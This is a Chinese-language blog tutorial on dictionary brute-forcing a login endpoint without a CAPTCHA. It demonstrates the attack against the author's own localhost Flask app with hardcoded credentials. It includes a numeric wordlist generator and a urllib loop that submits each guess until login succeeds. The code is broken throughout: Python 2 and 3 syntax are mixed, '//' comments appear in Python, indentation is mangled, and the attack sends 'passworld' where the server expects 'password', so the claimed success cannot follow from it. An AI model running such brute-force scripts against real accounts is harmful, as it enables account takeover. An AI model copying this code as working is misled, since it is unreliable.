Python - 自導自演 密碼字典暴力破解

weixin_34337265發表於2017-04-01
1622166-c8e7654f316396b0.jpg
破解.jpg

簡介

  • 任何東西都是雙面的,包括程式。(攻擊方與防禦方,相當於矛與盾)
  • 密碼字典

所謂的密碼字典,主要是配合密碼破譯軟體所使用,密碼字典裡包括許多人們習慣性設定的密碼,這樣可以提高密碼破譯軟體的密碼破譯成功率和命中率,縮短密碼破譯的時間,當然,如果一個人密碼設定沒有規律或很複雜,未包含在密碼字典裡,這個字典就沒有用了,甚至會延長密碼破譯所需要的時間

  • 暴力破解(窮舉法)

窮舉法的基本思想是根據題目的部分條件確定答案的大致範圍,並在此範圍內對所有可能的情況逐一驗證,直到全部情況驗證完畢。若某個情況驗證符合題目的全部條件,則為本問題的一個解;若全部情況驗證後都不符合題目的全部條件,則本題無解。窮舉法也稱為列舉法。

  • 我們這裡就是採用 密碼字典 來做例子。

文章能教會我們什麼呢?

  • 本文就是教大家如何使用 密碼字典 來破解一個沒有加驗證碼的登入介面。

第一步(生成密碼字典檔案)

  • 我這裡使用的是 Python 來生成的。

  • 先建立一個 .text 的檔案
    cd xxx(資料夾路徑)
    vi pass.text

  • Python 中的 string 可以輸出所有的字元
    import string
    print(string.printable)
    輸出為:0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[]^_`{|}~
    我們這裡實驗就使用 所有數字 組成的集合了。

  • 這裡我們還用到了 itertools 如果想了解它 請點選我

  • 建立一個 .py 檔案 。把下列程式碼 copy 進去

import sys
import string
import itertools

  def get_strings():
    chars = string.printable[:10]
    strings = []
    for i in xrange(min, max + 1):
        strings.append((itertools.product(chars, repeat=i),))
    return itertools.chain(*strings)

  def make_dict():
    f = open(file, 'a')
    for x in list_str:
        for y in x:
            f.write("".join(y))
            f.write('\n')
    f.close()
    print()
    'Done'

  while True:
    if len(sys.argv) == 4:
        try:
            min = int(sys.argv[1])
            max = int(sys.argv[2])
        except:
            print()
            "wrong"
            sys.exit(0)
        if min <= max:
            list_str = get_strings()
            file = sys.argv[3]
            make_dict()
            sys.exit(0)  
  • 然後通過下列程式碼生成密碼字典
    python xx.py 6(這個是最短長度) 6(這個是最長長度) .text檔案路徑(儲存路徑)
    成功後如圖所示


    1622166-44960cf0e9adfe87.png
    密碼字典.png

第二步 (編寫登入介面)

  • 上一篇文章講過 如何編寫介面了,不懂的可以再去看下。
  • 我們在之前的基礎上加一步驗證(這裡就省略了和資料庫的互動了,而是直接寫一個硬編碼)
  • 程式碼如下
 from flask import Flask
from flask import request
from flask import redirect
from flask import current_app

  app = Flask(__name__)

  @app.route('/user/login',methods=['GET'])
  def start():

    // flask 獲取 POST 引數
    // print(request.form['yes'])
    // print(request.form['hai'])
   
    //flask獲取 GET 引數
    username = request.args.get('username')
    passworld = request.args.get('password')

    if username == 'w123':
    if passworld == '000456':
      return 'ok'
    else:
      return 'error'
    else:
     return'error'

    if __name__ == '__main__':
    app.run()

可以看到上述程式碼 賬戶名:w123 密碼 000456
邏輯 就是 賬戶密碼正確 輸出ok 反之error

第三步 (破解)

  • 這裡我們使用 Python 的 urllib 模組來模擬 請求
  • 具體程式碼如下:
import urllib
import urllib.request

  f=open("pass.text")
while 1:
    pwd = f.readline().strip()
    if not pwd:
        print('字典已比對完。')
        break

    data = {}

    data['passworld'] = pwd
    data['username'] = 'w123'

    url_parame = urllib.parse.urlencode(data)

    url = "http://127.0.0.1:5000/user/login?"

    all_url = url + url_parame

    data = urllib.request.urlopen(all_url).read()

    record = data.decode('UTF-8')

    if record == 'ok':
        print('破解出來了,密碼為',pwd)
        break
    else:
        print('error')

附上一張成功的圖片


1622166-bfc4d388cd34763b.png
破解成功.png

到這裡就算是OK了,這只是簡單的教程。

這裡涉及的只是沒有加驗證碼的介面,假如涉及到介面有驗證以及有次數限制,那就沒辦法了。

喜歡就請點個喜歡吧!!!

相關文章